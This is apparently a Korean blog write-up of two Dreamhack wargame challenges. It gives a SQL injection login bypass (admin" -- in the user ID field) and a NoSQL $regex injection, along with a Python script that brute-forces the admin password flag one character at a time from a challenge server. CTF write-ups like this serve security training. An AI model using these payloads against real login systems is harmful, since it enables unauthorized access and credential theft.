728x90
ServerSide: SQL Injection
simple_sqli
-로그인 우회 풀이
로그인 코드를 보면 56번째 줄에 userid가 admin일 경우 flag를 출력하도록 되어있다.
guest : guest로 로그인을 하면 'hello guest'라는 문구가 뜬다.
ID: admin, PW: SWING30 userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식을 사용해서 SQL 공격을 실행했다.
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="SWING30"
userid에 admin"--, pw에 SWING30을 입력해준다.
플래그가 나온다.
NoSQL Injection
Mango
아래 나와있는 문구를 url 뒤에 입력해주었더니
guest로 로그인이 됐다.
id와 pw를 admin으로 바꾸어 로그인을 했더니 filter에 걸렸다.
아래 코드를 통해서 admin, dh, admi이 필터링 되고 있다는 것을 알게 되었다. 우회를 해서 접근해야 한다.
정규표현식을 이용해 공격을 해볼 것이다. 정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회 가능하다.
플래그를 찾는 파이썬 코드
import requests
import string
url = 'http://host3.dreamhack.games:22787/login?uid[$regex]=ad.in&upw[$regex]=D.{'
alphanumeric = string.ascii_letters + string.digits # 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
flag = ''
for i in range(32):
for char in alphanumeric:
res = requests.get(url + flag + char + '.*')
if res.text == 'admin':
flag += char
print('DH{' + flag)
break
print('DH{' + flag + '}')
'Dreamhack > Web Hacking' 카테고리의 다른 글
Stage8 image-storage (0) | 2022.08.26 |
---|---|
Dreamhack Command Injection-1 (0) | 2022.08.13 |
Stage5 (0) | 2022.07.31 |
웹 해킹 Stage4 (0) | 2022.07.25 |
SOP(Same Origin Policy) (0) | 2022.07.21 |